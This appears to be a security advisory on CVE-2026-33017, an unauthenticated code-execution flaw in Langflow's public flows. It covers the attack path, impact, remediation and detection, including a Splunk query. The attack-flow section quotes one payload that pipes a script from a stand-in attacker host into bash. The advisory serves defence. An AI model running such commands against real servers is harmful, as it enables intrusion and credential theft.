Background
Langflow is an open-source, low-code development platform for building AI-powered workflows and LLM (Large Language Model) applications. It provides a visual drag-and-drop interface for constructing “flows” — chains of LLM calls, tool invocations, data transformations, and custom Python code — and is widely used by developers and organisations to prototype and deploy AI agents and automation pipelines.
Langflow’s core value proposition includes the ability to incorporate custom Python code components within flows, which is precisely what makes this vulnerability so dangerous. When Langflow is deployed in configurations that allow public, unauthenticated access to flow execution — which may be the default or common deployment pattern for teams wanting to share AI demos or internal tools — that code execution capability becomes a direct path to RCE. CISA added CVE-2026-33017 to the KEV catalogue on 2026-03-25, reflecting active exploitation.
Technical Mechanism
Langflow allows users to build flows that include a “Python Code” component — a node in the visual pipeline that executes arbitrary Python code as part of the workflow. This is a legitimate feature for building custom AI logic.
CVE-2026-33017 exploits the combination of two conditions:
- Public flow access: When Langflow is configured to allow building or running flows without authentication (a “public” deployment mode)
- Code execution in flows: The Python Code component executes code server-side with the privileges of the Langflow process
The attack flow is as follows:
- An attacker identifies an internet-accessible Langflow instance in public/unauthenticated mode
- The attacker accesses the Langflow UI or API without authentication
- The attacker creates (or accesses an existing) flow and adds or modifies a Python Code component with a malicious payload (e.g.,
import os; os.system('curl attacker.com/shell.sh | bash')) - The attacker triggers flow execution via the UI or API
- The Python code executes server-side under the Langflow process context
- The attacker achieves a reverse shell or other persistent access
Alternatively, the attacker may not need to create a new flow — if existing public flows already contain Python Code components, injecting malicious code into those components may be possible.
Real-World Exploitation Evidence
CVE-2026-33017 was added to CISA KEV on 2026-03-25. The exploitation of AI/ML development platforms has become an increasingly active area:
- Cryptomining campaigns — AI platform servers with high CPU/GPU resources are attractive targets for cryptomining malware; several campaigns targeting Jupyter, Airflow, and similar platforms have been documented
- Data exfiltration — Langflow deployments may have access to LLM API keys (OpenAI, Anthropic, etc.), vector databases containing proprietary data, and other AI infrastructure credentials
- Lateral movement — Langflow servers in corporate environments typically have network access to databases, APIs, and internal services, making them useful pivot points
- The public nature of many Langflow deployments (intended for demo sharing or team collaboration) means many instances may be internet-accessible, expanding the attack surface
This follows a pattern of exploitation against AI development tools that have powerful code execution features with insufficient authentication defaults.
Impact Assessment
An unauthenticated attacker who reaches a publicly accessible Langflow instance can achieve immediate server-side Python code execution with the privileges of the Langflow process by building and running a flow containing a malicious Python Code component. In addition to full control of the Langflow host, the attacker gains access to every credential configured within the platform: LLM provider API keys (OpenAI, Anthropic, and others), vector database connections, and any environment variables or secrets injected into the Langflow environment. These credentials are often high-value and expensive to rotate across the dependent AI infrastructure.
The organisational impact is amplified by two factors specific to Langflow deployments. First, Langflow servers frequently have network access to internal APIs, databases, and services because they are designed to orchestrate connections between components — making the Langflow host a useful pivot point for lateral movement into the broader internal network. Second, LLM API key theft has direct financial consequences: stolen keys can be used to run up significant API costs or to exfiltrate proprietary data from vector stores and retrieval-augmented generation pipelines. Organisations using Langflow to power customer-facing AI features or internal automation face potential data exposure of the information those pipelines process.
Affected Versions
| Component | Affected Versions | Fixed Version |
|---|---|---|
| Langflow | Versions allowing public flow access without authentication | Apply patch and enforce authentication |
| Langflow (self-hosted) | Versions with unauthenticated API access | Apply vendor patch |
Consult the Langflow GitHub repository and security advisories for specific version information.
Remediation Steps
- Apply the Langflow patch immediately
- Enable authentication on all Langflow deployments — public access without authentication should be disabled
- Add
LANGFLOW_AUTO_LOGIN=falseand configure proper user authentication in the Langflow environment - Restrict Langflow access to trusted internal networks or VPN-only access via firewall rules
- If Langflow is exposed to the internet, place it behind a reverse proxy with authentication (e.g., Nginx with basic auth or OAuth2 Proxy)
- Audit existing flows for any Python Code components with suspicious content
- Rotate all API keys accessible to the Langflow environment (LLM provider keys, database credentials, etc.)
- Review server logs for unexpected code execution events or outbound connections from the Langflow process
- Consider whether Langflow needs to be internet-accessible at all — most legitimate use cases can operate on internal networks
Detection Guidance
Langflow application logs — look for:
- Flow creation or modification events by unauthenticated users
- Python code execution events containing suspicious patterns (network calls, subprocess invocations, file writes)
- Requests to the flow execution API from unexpected external IP addresses
OS-level indicators:
- Unexpected child processes spawned by the Langflow Python process
- Outbound network connections from the Langflow host to unknown external IP addresses
- New files created in
/tmpor the Langflow workspace directory
SIEM query example (Splunk):
index=application_logs sourcetype=langflow
| search action="flow_run" OR action="code_execute"
| where isnull(user) OR user=""
| stats count by src_ip, flow_id, action
| sort -count
LLM API usage monitoring:
- Unexpected spikes in LLM API usage (tokens consumed) that don’t correspond to legitimate user activity
- API calls from Langflow using keys that should be idle
Timeline
| Date | Event |
|---|---|
| Early 2026 | CVE-2026-33017 discovered in Langflow’s public flow access functionality |
| 2026-03-25 | Langflow releases patch; CISA adds CVE-2026-33017 to KEV catalogue |
| March 2026 | Active exploitation observed, particularly cryptomining and data exfiltration campaigns |
| 2026-05-24 | This analysis published |